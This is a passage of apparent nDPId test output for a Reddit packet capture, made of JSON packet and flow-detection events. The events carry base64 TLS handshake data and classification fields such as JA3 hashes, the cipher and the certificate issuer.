dbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMTIxMzIwNTZaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQBSCpw0UHR0S5Q9u7sJJenYAAGA8yMDIwMTExMjEzMjA1NlqgERgPMjAyMDExMTkxMjM1NTZaMA0GCSqGSIb3DQEBCwUAA4IBAQAe0tW7eHxJsBmpUJLOLbayxqVf49zXEZ5\/cB0RRa6yG3CNXesl4JDY"} +01173{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":554,"source":"reddit.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":10,"flow_first_seen":1605291686060,"flow_last_seen":1605291686138,"flow_tot_l4_data_len":3997,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":399,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56578,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","server_names":"*.redditmedia.com,redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redditmedia.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"96:A3:77:56:81:79:10:5C:E8:7F:F0:33:D2:7E:1C:45:08:2C:25:85"}} +01180{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138254,"pkt_caplen":616,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":616,"pkt_l4_len":562,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAjIGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdAmJL3JUGjp0kgBgLMB\/CAAABAQgKwtc45Kl05icFzSsmCedJGCcRINBMxj2OkjLRrR5+xcD9lb4unAKC5WTmKH6ycrO9ix\/L32MGep\/ZFvIJCQSouE7mlgSAcTFI4BXte\/pGsHMAjui+1qfzuJeDRU1HhuOmlCbhFJ6m4gFzgwhyGd9L+hpBg5KgMKhXfS7jrubusel2UJKbGh734tJ39CE6k1PRqEwMkj67np+DYccuihF63nxZALE8swo0riZoaCe5AiIY7ITMITCBbxCZuPAGOPmEMbEPmOm6Pvj+\/bWyqGz8umNh91i6hsUU6dKjsm4mWYsWAwMBLAwAASgDAB0g2EuIU\/XbawcHgLfvZuLv1m5brKGFi7yCiyqSn6eDbH4IBAEApCSRsYY0lS3Kr7djDjGdvGkfP8wRQ5WOkQkMo+SE2prYmzYDu9So3XUPElnVChozncYm78Nh\/Y2EnV2JWDfbXOioDfCfJTX7XPpiNOUZA+B8beZv0CPJuWpElHlMc3bRxGOEQwxuGUwwlDnrhxQe7bxp64LbLaEbCApsIJSGbHVfj85ym9HSf2oYADD95Jzhx1ZrFJGrYKZzKmq\/9VzI0ySNpy9TWGvXC9JU2YssSVMI\/G3G2a4hotGmzTqnCMmvoES0N2353AR3UosglbcyilG5g\/tceZlLixe6jD9e\/BWvaheqMPxbwCyTfpmyrtyjIxGwdzI\/0H1\/8zDgiyfxPxYDAwAEDgAAAA=="} +00454{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":562,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138263,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOnSRiS9yVgBAB9dIFAAABAQgKqXTmTsLXOOQ="} +00455{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":564,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138267,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOnSRiS96ngBAB9c\/zAAABAQgKqXTmTsLXOOQ="} +01865{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138281,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdABmbR4Z8rX95gBgLMMlUAAABAQgKwtc45Kl05icWAwMAUgIAAE4DA3yKKE4Ko1ARMIYyZQiftoYOAIiiFA4+frkxcTlfE\/FWAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK4AsACtwACtkABjswggY3MIIFH6ADAgECAhAFIKnDRQdHRLlD27uwkl6dMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA3MjcwMDAwMDBaFw0yMTAxMjMxMjAwMDBaMGwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEaMBgGA1UEAwwRKi5yZWRkaXRtZWRpYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUojedwLTSEzrq4UnD96Vw+K+bJzRlpdlGvp1emryD5RL1HNtyibc7bG5WSKWQj4rEXUPCrd7J9KEcoktu\/T\/zKnwBbK1YjqeYT7crnAcYwaOzJK+2WaVgkNLH46oD9ybxNIQiHXSZQ7Ot1nzKMSML5qvJDWE93Oca5W4JzWXBeHxjaWh1pvFML\/h9KONNL2F6v8fl2QkupSKhrdBMUYrUJQ7T7Xayr9QDWUwAYkELYvTZAHxC2NJEKB\/W8Txb\/aVDvxW0ugRtMT23SQiJB3o2exzRkgcVXSsUUyBNZi0HwERQ8wVGtvniGjIdCo1za+WiS39m7ranLPgJ4gJ0ghVtAgMBAAGjggLyMIIC7jAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUM5hgnYdqs+t4ZIcAf5Oj81X67dYwLQYDVR0RBCYwJIIRKi5yZWRkaXRtZWRpYS5jb22CD3JlZGRpdG1lZGlhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0"} +00889{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":571,"source":"reddit.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1605291686060,"flow_last_seen":1605291686138,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56576,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01872{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138281,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdABmbS558rX95gBgLMNlpAAABAQgKwtc45Kl05id0cDovL29jc3AuZGlnaWNlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXOQZCKCAAAEAwBHMEUCIAherbIi6ZyHzb3QX5+4\/MlQsJrfbT9XT60YNwXvs\/FkAiEAwb6FWwmkC64YkR7Z3GfczyoO1X+DuWs1z\/cJf1mGmRAAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXOQZCKuAAAEAwBIMEYCIQCNJnMx30MdQpcsqt\/W+zrckQM+XjK6x44S461Ih+FOwgIhAKbBLZjqonCb3DAhfmp8tsmJH+X3MizzOAQP3yn5uVQ5MA0GCSqGSIb3DQEBCwUAA4IBAQBCDMeIm2uPoixPwoutZHrrGFzfNJEXLQk54PkRo2woDSpR3o0sLrpMXiyWx6H0MMNDjCQCbMH2ymQA6oTDSulICMxnonBHGBAiFWQ4yFy2iFOaonss\/jw9Dn15iyoLKitvtvJLO9YtEqX7BhpUXB+aGzE35RE3PNE7a9BSnYdTRBdwcbTm4\/GUaX3HC2LiAXQA2DAltxNjiE72Zxrfz9Ebt1FNjsFnx0Ah1ZbnA1MIHFvgmyPuvrAyEw9PR6UdJmEHtOv18OslcdpyIt5b11k6XZhXnFrHzfU77INW6\/\/S6hVNtvk1bBdMuvkLXzN88BKcp9k9\/9vFc9yzgrbsBbZxAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRq"} +01869{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138281,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdABmbT7Z8rX95gBgLMCOfAAABAQgKwtc45Kl05icUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMTIxMzIwNTZaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQBSCpw0UHR0S5Q9u7sJJenYAAGA8yMDIwMTExMjEzMjA1NlqgERgPMjAyMDExMTkxMjM1NTZaMA0GCSqGSIb3DQEBCwUAA4IBAQAe0tW7eHxJsBmpUJLOLbayxqVf49zXEZ5\/cB0RRa6yG3CNXesl4JDY"} +01172{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":573,"source":"reddit.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":8,"flow_first_seen":1605291686060,"flow_last_seen":1605291686138,"flow_tot_l4_data_len":3933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":491,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56576,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","server_names":"*.redditmedia.com,redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redditmedia.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"96:A3:77:56:81:79:10:5C:E8:7F:F0:33:D2:7E:1C:45:08:2C:25:85"}} +01176{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138282,"pkt_caplen":616,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":616,"pkt_l4_len":562,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAjIGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdABmbU858rX95gBgLMPqJAAABAQgKwtc45Kl05icFzSsmCedJGCcRINBMxj2OkjLRrR5+xcD9lb4unAKC5WTmKH6ycrO9ix\/L32MGep\/ZFvIJCQSouE7mlgSAcTFI4BXte\/pGsHMAjui+1qfzuJeDRU1HhuOmlCbhFJ6m4gFzgwhyGd9L+hpBg5KgMKhXfS7jrubusel2UJKbGh734tJ39CE6k1PRqEwMkj67np+DYccuihF63nxZALE8swo0riZoaCe5AiIY7ITMITCBbxCZuPAGOPmEMbEPmOm6Pvj+\/bWyqGz8umNh91i6hsUU6dKjsm4mWYsWAwMBLAwAASgDAB0gWnciI\/Pwd7KP0P5JdwR+FobLRQu42VfkCCF0ixVvFwMIBAEAa2v7rfPVRaFf2ZxZmhRswjx\/dryKLKWKMEhXiyPKVQrC3VCvRkYOrkUmxE3v4DJxXJC\/QepaT5SPKzSfQhWQC+QvgdnHF2yBzs6ed7avhyUO1uhu72G8oOtsBZ0UoXul8DxKB3AlX9r0L6BO\/Dm6TF+H841qo0nr\/BSMTghdRuQ2ObzQIGCnHBpXKBdwB+gpK44YCaTdAzem37uhbyENqjXuQKOvx59yyXQyZ6TqV9SgH5gNL01FWSFMktn4DjTSogvdNHCTfGJVI2TsupojMeV+cVOV9GYknV\/ypsS1B0Nf+qeczILow09JOvF83bN2RAeF6J5tcY6opZarKyEaThYDAwAEDgAAAA=="} +00454{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138287,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytf3kZm0uegBAB9VM7AAABAQgKqXTmTsLXOOQ="} +00454{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138291,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytf3kZm0+2gBAB808lAAABAQgKqXTmTsLXOOQ="} +00454{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138293,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytf3kZm1POgBAB7UsTAAABAQgKqXTmTsLXOOQ="} +00454{"flow_id":12,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138295,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytf3kZm1XggBAB6UkFAAABAQgKqXTmTsLXOOQ="} +00456{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":138302,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/oyw49TvcdbcgBALMHS1AAABAQgKwtc45Kl05ic="} +00581{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":140483,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOnSRiS96ngBgB9TenAAABAQgKqXTmUMLXOOQWAwMAJRAAACEgGhiw9b94f8rz2dJx6nh+9ommAOkvNbCFYxJJRPRrDQMUAwMAAQEWAwMAKAAAAAAAAAAADDiXoMO+wQIDk0GccYULTEY6bkLD8890nYXEqstmLnY="} +01866{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141552,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc\/oyw49TvcdbcgBgLMNOjAAABAQgKwtc45ql05icWAwMAUgIAAE4DA6D09cUbbtpN\/rYtQqSaB642VSIv4mbf073hhoP2bPB0AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK4AsACtwACtkABjswggY3MIIFH6ADAgECAhAFIKnDRQdHRLlD27uwkl6dMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA3MjcwMDAwMDBaFw0yMTAxMjMxMjAwMDBaMGwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEaMBgGA1UEAwwRKi5yZWRkaXRtZWRpYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUojedwLTSEzrq4UnD96Vw+K+bJzRlpdlGvp1emryD5RL1HNtyibc7bG5WSKWQj4rEXUPCrd7J9KEcoktu\/T\/zKnwBbK1YjqeYT7crnAcYwaOzJK+2WaVgkNLH46oD9ybxNIQiHXSZQ7Ot1nzKMSML5qvJDWE93Oca5W4JzWXBeHxjaWh1pvFML\/h9KONNL2F6v8fl2QkupSKhrdBMUYrUJQ7T7Xayr9QDWUwAYkELYvTZAHxC2NJEKB\/W8Txb\/aVDvxW0ugRtMT23SQiJB3o2exzRkgcVXSsUUyBNZi0HwERQ8wVGtvniGjIdCo1za+WiS39m7ranLPgJ4gJ0ghVtAgMBAAGjggLyMIIC7jAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUM5hgnYdqs+t4ZIcAf5Oj81X67dYwLQYDVR0RBCYwJIIRKi5yZWRkaXRtZWRpYS5jb22CD3JlZGRpdG1lZGlhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0"} +00889{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":680,"source":"reddit.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":6,"flow_first_seen":1605291686060,"flow_last_seen":1605291686141,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56574,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00455{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141552,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBGVsk6YAYOGSgBALMNB1AAABAQgKwtc466l05ig="} +00453{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":141570,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1tyMsOfsgBAB9XmsAAABAQgKqXTmUcLXOOY="} 